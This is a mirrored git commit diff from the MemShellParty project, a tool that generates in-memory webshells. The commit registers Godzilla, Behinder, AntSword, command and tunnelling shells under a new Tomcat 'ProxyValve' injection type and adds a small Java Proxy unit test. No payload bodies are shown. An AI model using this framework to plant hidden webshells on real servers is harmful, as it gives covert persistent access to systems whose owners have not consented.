mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: support Tomcat ProxyValve shell
This commit is contained in:
@@ -118,6 +118,8 @@ public enum Server {
|
||||
.addShellClass(JAKARTA_LISTENER, GodzillaListener.class)
|
||||
.addShellClass(VALVE, GodzillaValve.class)
|
||||
.addShellClass(JAKARTA_VALVE, GodzillaValve.class)
|
||||
.addShellClass(PROXY_VALVE, Godzilla.class)
|
||||
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
|
||||
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
|
||||
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
|
||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
|
||||
@@ -146,6 +148,8 @@ public enum Server {
|
||||
.addShellClass(JAKARTA_LISTENER, BehinderListener.class)
|
||||
.addShellClass(VALVE, BehinderValve.class)
|
||||
.addShellClass(JAKARTA_VALVE, BehinderValve.class)
|
||||
.addShellClass(PROXY_VALVE, Behinder.class)
|
||||
.addShellClass(JAKARTA_PROXY_VALVE, Behinder.class)
|
||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, BehinderInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class)
|
||||
@@ -164,6 +168,7 @@ public enum Server {
|
||||
.addShellClass(FILTER, AntSwordFilter.class)
|
||||
.addShellClass(LISTENER, AntSwordListener.class)
|
||||
.addShellClass(VALVE, AntSwordValve.class)
|
||||
.addShellClass(PROXY_VALVE, AntSword.class)
|
||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
|
||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSword.class)
|
||||
@@ -184,6 +189,8 @@ public enum Server {
|
||||
.addShellClass(JAKARTA_LISTENER, CommandListener.class)
|
||||
.addShellClass(VALVE, CommandValve.class)
|
||||
.addShellClass(JAKARTA_VALVE, CommandValve.class)
|
||||
.addShellClass(PROXY_VALVE, Command.class)
|
||||
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
|
||||
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
||||
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
||||
@@ -212,6 +219,8 @@ public enum Server {
|
||||
.addShellClass(JAKARTA_LISTENER, Suo5Listener.class)
|
||||
.addShellClass(VALVE, Suo5Valve.class)
|
||||
.addShellClass(JAKARTA_VALVE, Suo5Valve.class)
|
||||
.addShellClass(PROXY_VALVE, Suo5.class)
|
||||
.addShellClass(JAKARTA_PROXY_VALVE, Suo5.class)
|
||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5Interceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
|
||||
@@ -235,6 +244,8 @@ public enum Server {
|
||||
.addShellClass(JAKARTA_LISTENER, NeoreGeorgListener.class)
|
||||
.addShellClass(VALVE, NeoreGeorgValve.class)
|
||||
.addShellClass(JAKARTA_VALVE, NeoreGeorgValve.class)
|
||||
.addShellClass(PROXY_VALVE, NeoreGeorg.class)
|
||||
.addShellClass(JAKARTA_PROXY_VALVE, NeoreGeorg.class)
|
||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, NeoreGeorgInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
|
||||
|
||||
@@ -6,15 +6,18 @@ package com.reajason.javaweb.memshell;
|
||||
*/
|
||||
public class ShellType {
|
||||
|
||||
public static final String JAKARTA = "Jakarta";
|
||||
public static final String SERVLET = "Servlet";
|
||||
public static final String JAKARTA_SERVLET = "JakartaServlet";
|
||||
public static final String JAKARTA_SERVLET = JAKARTA + SERVLET;
|
||||
public static final String FILTER = "Filter";
|
||||
public static final String JAKARTA_FILTER = "JakartaFilter";
|
||||
public static final String JAKARTA_FILTER = JAKARTA + FILTER;
|
||||
public static final String LISTENER = "Listener";
|
||||
public static final String JAKARTA_LISTENER = "JakartaListener";
|
||||
public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;
|
||||
|
||||
public static final String VALVE = "Valve";
|
||||
public static final String JAKARTA_VALVE = "JakartaValve";
|
||||
public static final String JAKARTA_VALVE = JAKARTA + VALVE;
|
||||
public static final String PROXY_VALVE = "Proxy" + VALVE;
|
||||
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
|
||||
|
||||
public static final String NETTY_HANDLER = "NettyHandler";
|
||||
|
||||
|
||||
@@ -3,7 +3,6 @@ package com.reajason.javaweb.memshell.server;
|
||||
import com.reajason.javaweb.memshell.injector.tomcat.*;
|
||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||
|
||||
@@ -39,6 +38,8 @@ public class TomcatShell extends AbstractShell {
|
||||
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
|
||||
.addInjector(VALVE, TomcatValveInjector.class)
|
||||
.addInjector(JAKARTA_VALVE, TomcatValveInjector.class)
|
||||
.addInjector(PROXY_VALVE, TomcatProxyValveInjector.class)
|
||||
.addInjector(JAKARTA_PROXY_VALVE, TomcatProxyValveInjector.class)
|
||||
.addInjector(SERVLET, TomcatServletInjector.class)
|
||||
.addInjector(JAKARTA_SERVLET, TomcatServletInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||
|
||||
@@ -0,0 +1,70 @@
|
||||
package com.reajason.javaweb.memshell.shelltool;
|
||||
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.catalina.Valve;
|
||||
import org.apache.catalina.connector.Request;
|
||||
import org.apache.catalina.connector.Response;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import javax.servlet.ServletException;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Method;
|
||||
import java.lang.reflect.Proxy;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/6/2
|
||||
*/
|
||||
public class ProxyTest {
|
||||
|
||||
static class ValveProxy implements InvocationHandler {
|
||||
|
||||
private final Valve valve;
|
||||
|
||||
ValveProxy(Valve valve) {
|
||||
this.valve = valve;
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
|
||||
System.out.println("hello world" + method.getName());
|
||||
return method.invoke(valve, args);
|
||||
}
|
||||
}
|
||||
|
||||
static class TestValve implements Valve {
|
||||
|
||||
@Override
|
||||
public Valve getNext() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setNext(Valve valve) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void backgroundProcess() {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
System.out.println("invoke method");
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isAsyncSupported() {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void test() {
|
||||
Valve valve = (Valve) Proxy.newProxyInstance(this.getClass().getClassLoader(), new Class[]{Valve.class}, new ValveProxy(new TestValve()));
|
||||
valve.invoke(null, null);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user